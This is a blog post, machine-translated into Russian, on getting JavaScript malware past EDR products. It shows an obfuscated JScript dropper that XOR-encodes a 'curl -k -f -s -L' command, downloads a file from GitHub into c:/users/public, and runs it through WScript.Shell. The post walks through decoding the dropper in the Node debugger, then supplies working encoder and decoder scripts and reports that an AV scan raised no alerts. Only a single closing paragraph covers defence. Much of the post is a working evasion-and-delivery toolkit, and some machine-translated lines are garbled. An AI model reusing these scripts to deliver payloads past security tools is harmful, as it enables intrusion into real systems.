October 11, 2023

 а  Методы обхода вредоносного ПО EDR

Методы обхода вредоносного ПО EDR

27 сентября 2023 г. 8 минут чтения

Эй, как дела у всех. Извините, прошло много времени с момента моего последнего поста. Не бойтесь, я готов погрузиться в подробное обсуждение маневров уклонения от вредоносных программ… в частности, .jsфайлов для первых загрузок на компьютер. О, да, вы правильно читаете. Я сказал .js, потому что, хотите верьте, хотите нет, он до сих пор активно используется и ОЧЕНЬ эффективен для обхода наиболее распространенных сегодня решений EDR. Почему это? Ну, скорее всего, по нескольким причинам:

  • Жизнь за счет наземных бинарных файлов
  • Улучшенные методы запутывания
  • Сценарии .js просто не так тщательно проверяются EDR, как сценарии .exe или .ps1.
  • Методы, используемые в самих скриптах. Чтобы избежать триггеров AV, можно реализовать множество различных методов, например, двоичный файл, который вы используете для загрузки полезных данных и извлечения информации.

окей, вот образец вредоносного ПО. Это грубое представление вредоносного ПО, которое я недавно проанализировал, но в данном случае я добавил некоторые из своих собственных методов запутывания и кодирования, большинство из которых довольно хорошо известны. У нас есть зашифрованные имена переменных, строки с XOR и так далее. Это обеспечивает несколько целей, а именно простоту выполнения без запуска AV/EDR, в зависимости от методов, используемых в программе..jsсценарий. Я использую методы жизни за счет земли, чтобы загружать дополнительные полезные данные в сценарий. Вы должны быть осторожны на этом этапе вашего сценария. Решения EDR хорошо знакомы с BITSADMIN, certutil, powershell iex и т. д. Я всегда проверяю свои сценарии на реальных решениях EDR, чтобы убедиться, что методы, используемые в сценарии, способны успешно обходить EDR; по крайней мере, пока люди не начнут отправлять их на вирустотал 😅 Вы увидите инструмент LOTL, который я использую для загрузки вторичного файла, как только мы декодируем приведенный ниже код:

Запутанный кодПостоянная ссылка

    var fsh35h35h35h353h5r = [];
		var njgpwoeotgoo7u3upo35h5bho = [];
		var llgll325h3l5l4 = [];
		var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
    var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104]; 
		var hhghj46j46 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
		var b33h3h354f3 =  [32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56];
		var nn7unj4n465j=vcg35b53hg53gh.length;
		var b46n354j3547=hhghj46j46.length;
		var drygh64uj=b33h3h354f3.length;
		
    var n86k468534 = new ActiveXObject('WScript.Shell');
		for (a=0;a<nn7unj4n465j;a++)
		{
		fsh35h35h35h353h5r[a]=String.fromCharCode(vcg35b53hg53gh[a] ^ 72);
		}
		for (a=0;a<b46n354j3547;a++)
		{
		llgll325h3l5l4[a]=String.fromCharCode(hhghj46j46[a] ^ 72);
		}
		for (a=0;a<drygh64uj;a++)
		{
		vffvfvrt9bvwetr8bwrt8bwrb8w[a]=String.fromCharCode(b33h3h354f3[a] ^ 72);
		}
		
		bnnbn6hn64jn46j4n3jn4=fsh35h35h35h353h5r.join("");
		qswfg3yh35h35=llgll325h3l5l4.join("");
		njgpwoeotgoo7u3upo35h5bho=vffvfvrt9bvwetr8bwrt8bwrb8w.join("");
		
		n86k468534.Run(bnnbn6hn64jn46j4n3jn4+njgpwoeotgoo7u3upo35h5bho+qswfg3yh35h35);

Как мы можем взорвать это безопасно? ну, во-первых, нам нужно закомментировать некоторые строки, чтобы наш сеанс отладки работал хорошо! Я покажу вам, как это сделать сейчас.

Для начала убедитесь, что у вас установлен Node.js: скачайте Node по этой ссылке.

Далее нам нужно закомментировать эту строку в приведенном выше коде:

//var n86k468534 = new ActiveXObject('WScript.Shell');

и закомментируйте эту строку:

//n86k468534.Run(bnnbn6hn64jn46j4n3jn4+njgpwoeotgoo7u3upo35h5bho+qswfg3yh35h35);

Причиной такой предварительной работы является несовместимость Node с ActiveXObjects, по крайней мере изначально. Мы хотим максимально избежать ошибок при отладке.

окей, теперь запустите cmd.exe и введите следующую команду: Node Inspect [js script]

вот как это выглядит с моей стороны:

C:\temp\ourjsfiles>node inspect obfuscated.js
< Debugger
< listening on ws://127.0.0.1:9229/a8460333-5031-4d4e-8b46-e0cb41fe28cd
< For help, see: https://nodejs.org/en/docs/inspector
< Debugger attached.
Break on start in obfuscated.js:1
> 1             var fsh35h35h35h353h5r = [];
  2             var njgpwoeotgoo7u3upo35h5bho = [];
  3             var llgll325h3l5l4 = [];
debug>

мы хотим нажать ' n ', чтобы идти построчно, пока не найдем переменную, за которой хотим наблюдать, какие значения устанавливаются этой переменной по нашему усмотрению.

debug> n
break in obfuscated.js:3
  1             var fsh35h35h35h353h5r = [];
  2             var njgpwoeotgoo7u3upo35h5bho = [];
> 3             var llgll325h3l5l4 = [];
  4             var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
  5         var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
debug> n
break in obfuscated.js:4
  2             var njgpwoeotgoo7u3upo35h5bho = [];
  3             var llgll325h3l5l4 = [];
> 4             var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
  5         var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
  6             var hhghj46j46 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
debug> n
break in obfuscated.js:5
  3             var llgll325h3l5l4 = [];
  4             var vffvfvrt9bvwetr8bwrt8bwrb8w = [];
> 5         var vcg35b53hg53gh = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104];
  6             var hhghj46j46 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
  7             var b33h3h354f3 =  [32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56];
debug> watch("fsh35h35h35h353h5r") <-- I want to watch this variable since it's not populated yet
debug> watch("njgpwoeotgoo7u3upo35h5bho")     <-- I want to watch this variable since it's not populated yet
debug> watch("llgll325h3l5l4")    <-- I want to watch this variable since it's not populated yet
debug> watch("vffvfvrt9bvwetr8bwrt8bwrb8w")    <-- I want to watch this variable since it's not populated yet
debug>

Вы можете ввести текст watchers, чтобы увидеть, как отслеживаемые значения заполняются в режиме реального времени:

debug> watchers
  debug> watchers
  0: fsh35h35h35h353h5r = [  ]
  1: njgpwoeotgoo7u3upo35h5bho = [  ]
  2: llgll325h3l5l4 = [  ]
  3: vffvfvrt9bvwetr8bwrt8bwrb8w = undefined

нажмите 'n', а затем нажмите [enter]несколько раз, чтобы продолжить строку за строкой, пока не дойдете до цикла for.

Мы видим, что цикл for выполняет процедуру декодирования. он использует ^символ, который используется для побитовых операций XOR. Итак, это декодирование ранее закодированной строки! Нажимайте [enter]до тех пор, пока не начнете видеть обновление значения вашего первого наблюдателя, и вы пройдете свой первый цикл for:

Watchers:
  0: fsh35h35h35h353h5r = [ 'c', 'u', 'r', 'l' ] <-- we found something!!!  let's keep going...
  1: njgpwoeotgoo7u3upo35h5bho = [  ]
  2: llgll325h3l5l4 = [  ]
  3: vffvfvrt9bvwetr8bwrt8bwrb8w = [  ]

 11
 12         //var n86k468534 = new ActiveXObject('WScript.Shell');
>13             for (a=0;a<nn7unj4n465j;a++)
 14             {
 15             fsh35h35h35h353h5r[a]=String.fromCharCode(vcg35b53hg53gh[a] ^ 72);
debug>

хорошо, я не хочу, чтобы вам приходилось нажимать [enter]снова и снова, поэтому давайте установим точку останова на следующих двух циклах for и первой команде «join», не так ли?

debug> sb("obfuscated.js",17)

отладка> sb («обфусцированный.js», 21)

отладка> sb («обфусцированный.js», 26)

теперь все, что нам нужно сделать, это нажать 'c', чтобы продолжить отладку до следующей точки останова, и нам не нужно нажимать Enter в каждом цикле for. Кроме того, установка точки останова после цикла for помогает нам найти хорошую точку паузы для проверки значений наших наблюдателей. Интересно, какие сюрпризы нас ждут?! 😸

нажимайте 'c', пока не окажетесь на строке 26:

26 bnnbn6hn64jn46j4n3jn4=fsh35h35h35h353h5r.join("");

затем введите watchers. вы должны увидеть следующее в уродливом вертикальном формате:

fsh35h35h35h353h5r =
    [ 'c',
      'u',
      'r',
      'l',
      ' ',
      '-',
      'k',
      ' ',
      '-',
      'f',
      ' ',
      '-',
      's',
      ' ',
      '-',
      'L',
      ' ' ]

отформатировано, это будет: curl -k -f -s -L

так что, похоже, мы живем за счет земли в двоичном виде!

не волнуйтесь, неприятное форматирование исчезнет позже 😄 окей, установите еще одну точку останова в строке 29, вот так:

debug> sb("obfuscated.js",29)

теперь вы должны увидеть три новые переменные, нам нужны их окончательные значения, поэтому давайте посмотрим на них и откажемся от остальных трех, которые мы установили ранее:

unwatch("fsh35h35h35h353h5r")
unwatch("llgll325h3l5l4")
unwatch("vffvfvrt9bvwetr8bwrt8bwrb8w")

watch("bnnbn6hn64jn46j4n3jn4")
watch("qswfg3yh35h35")

затем введите watchersеще раз и приготовьтесь удивиться! Теперь все три переменные полностью прописаны!

причина этого в том, что цикл for явно увеличивал символ за символом, и поэтому он отображался в этом неприятном вертикальном формате.

однако теперь у нас есть три новые переменные, которые аккуратно объединяют каждый массив переменных и все хорошо очищают, как вы теперь можете видеть:

debug> watchers
  0: bnnbn6hn64jn46j4n3jn4 = 'curl -k -f -s -L '
  1: njgpwoeotgoo7u3upo35h5bho = 'https://raw.githubusercontent.com/g3tsyst3m/elevationstation/main/elevationstation/elevationstation.cpp'
  2: qswfg3yh35h35 = ' -o c:/users/public/thedroppedfile'

И вот оно! Мы успешно отладили запутанный и статически декодировали этот отвратительный образец вредоносного ПО .js, фактически не выполняя ссылку. Хорошая новость в том, что это безвредно, поскольку это всего лишь упражнение, и оно загрузит мой файл Elevationstation.cpp в ваш общедоступный каталог пользователей.

Процедура кодированияПостоянная ссылка

Итак, как хакеру удастся создать один из этих отвратительных сценариев? Честно говоря, это довольно тривиально, если вы знаете основы JavaScript. Я мог бы упростить это, используя для строк только одну переменную вместо трех, но разделение строк переменных добавляет дополнительную путаницу в ваш код:

//encoder.js
		var encodedURI = [];
		var encoded = [];
		var ccc = "curl -k -f -s -L ";
		var lastccc=" -o c:/users/public/thedroppedfile";
		var thelink="https://raw.githubusercontent.com/g3tsyst3m/elevationstation/main/elevationstation/elevationstation.cpp"; <-- file we want to download to the 'victim'
		var sizeof1=ccc.length;
		var sizeof2=lastccc.length;
		var sizeof3=thelink.length;
		for (a=0;a<sizeof1;a++)
		{
		encoded[a]=ccc.charCodeAt(a) ^ 72; <-- XOR encoding using the decimal value '72' 
		}
		WScript.Echo("curl encoded: " + encoded);
		for (a=0;a<sizeof2;a++)
		{
		encoded[a]=lastccc.charCodeAt(a) ^ 72; <-- XOR encoding using the decimal value '72' 
		}
		WScript.Echo("last part of curl encoded: " + encoded);
		for (a=0;a<sizeof3;a++)
		{
		encodedURI[a]=thelink.charCodeAt(a) ^ 72; <-- XOR encoding using the decimal value '72' 
		}
		//finalURI="%"+encodedURI.join("%");
		WScript.Echo("The URL encoded: "+encodedURI);

Давайте запустим… 😜

C:\temp\ourjsfiles>cscript encoder.js
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

curl encoded: 43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104
last part of curl encoded: 104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45
The URL encoded: 32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56

Итак, у нас есть значения, закодированные с помощью xor. Давайте добавим их в нашу процедуру декодирования.

Процедура декодированияПостоянная ссылка

//decoder.js
var decoded1 = [];
var linkURI = [];
var decoded2 = [];
var decodedURI = [];
var encoded1 = [43,61,58,36,104,101,35,104,101,46,104,101,59,104,101,4,104]; 
var encoded2 = [104,101,39,104,43,114,103,61,59,45,58,59,103,56,61,42,36,33,43,103,60,32,45,44,58,39,56,56,45,44,46,33,36,45];
var thelink =  [32,60,60,56,59,114,103,103,58,41,63,102,47,33,60,32,61,42,61,59,45,58,43,39,38,60,45,38,60,102,43,39,37,103,47,123,60,59,49,59,60,123,37,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,37,41,33,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,103,45,36,45,62,41,60,33,39,38,59,60,41,60,33,39,38,102,43,56,56];
		var sizeof1=encoded1.length;
		var sizeof2=encoded2.length;
		var sizeof3=thelink.length;
		
    var obj = new ActiveXObject('WScript.Shell');
		for (a=0;a<sizeof1;a++)
		{
		decoded1[a]=String.fromCharCode(encoded1[a] ^ 72);
		}
		for (a=0;a<sizeof2;a++)
		{
		decoded2[a]=String.fromCharCode(encoded2[a] ^ 72);
		}
		for (a=0;a<sizeof3;a++)
		{
		decodedURI[a]=String.fromCharCode(thelink[a] ^ 72);
		}
		
		decode1final=decoded1.join("");
		decode2final=decoded2.join("");
		linkURI=decodedURI.join("");
		
	    WScript.Echo(decode1final + linkURI + decode2final);
      obj.Run(decode1final+linkURI+decode2final);

давайте запустим его!

хотите посмотреть, что находится внутри переброшенного файла? Это код для возвышения:

C:\temp\ourjsfiles>type c:\users\Public\thedroppedfile
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <fstream>
#include <Windows.h>
#include <string>
#include <conio.h>
#include <lmcons.h>
#include <tchar.h>
#include <strsafe.h>
#include <sddl.h>
#include <userenv.h>
#include <Dbghelp.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <psapi.h>
#include "def.h"

#pragma comment(lib, "userenv.lib")

using namespace std;

//errorcodes: https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
//integrity levels (good resource!): https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/bb625963(v=msdn.10)?redirectedfrom=MSDN
//get process name: https://stackoverflow.com/questions/4570174/how-to-get-the-process-name-in-c
//change integrity level: https://social.msdn.microsoft.com/Forums/en-US/4c78de2f-376c-4eb1-834b-de681f866ada/change-integrity-level-in-current-process-uiaccess?forum=vcgeneral
//more integrity level info: https://stackoverflow.com/questions/12774738/how-to-determine-the-integrity-level-of-a-process
//more integrity level info #2: https://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/09ebc7f1-e3e9-4fd3-a57e-1d43b36e8f82/how-to-tell-what-processes-are-running-with-elevated-privileges?forum=windowssecurity
//SID info: https://learn.microsoft.com/en-US/windows-server/identity/ad-ds/manage/understand-security-identifiers
//lower our token integrity level example: https://kb.digital-detective.net/display/BF/Understanding+and+Working+in+Protected+Mode+Internet+Explorer

void Color(int color)
{
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), color);
}
BOOL NamedPipeImpersonate()
{
    setProcessPrivs(SE_IMPERSONATE_NAME);
    Color(2);
    cout << "[+] Downloading named pipe client for you from the repo\n";
    Color(7);

Итак, наш сброшенный файл успешно скачался. Как насчет AV/EDR?

Я отсканирую его для вас, чтобы вы сами увидели:

ничего. никаких оповещений, триггеров, ничего.

Что касается того, как я это запутал, для этого есть онлайн-инструменты, но, честно говоря, я просто нажимал Control + F и находил и заменял, набирая случайные буквы на клавиатуре, чтобы перепутать имена переменных. довольно легко.

Вы можете защититься от этого типа вредоносных угроз с помощью Windows Application Control и соответствующих групповых политик, определяющих, что могут и не могут выполнять ваши пользователи. Сценарии .js, скорее всего, никогда не станут сценариями, которые вашему пользователю придется использовать самостоятельно вне браузера.

Код из сегодняшней статьиПостоянная ссылка

декодер.js

кодировщик.js

запутанный.js

Как всегда, спасибо за ваше время, и я надеюсь, что это окажется полезным для повышения осведомленности о безопасности этого типа вредоносного ПО.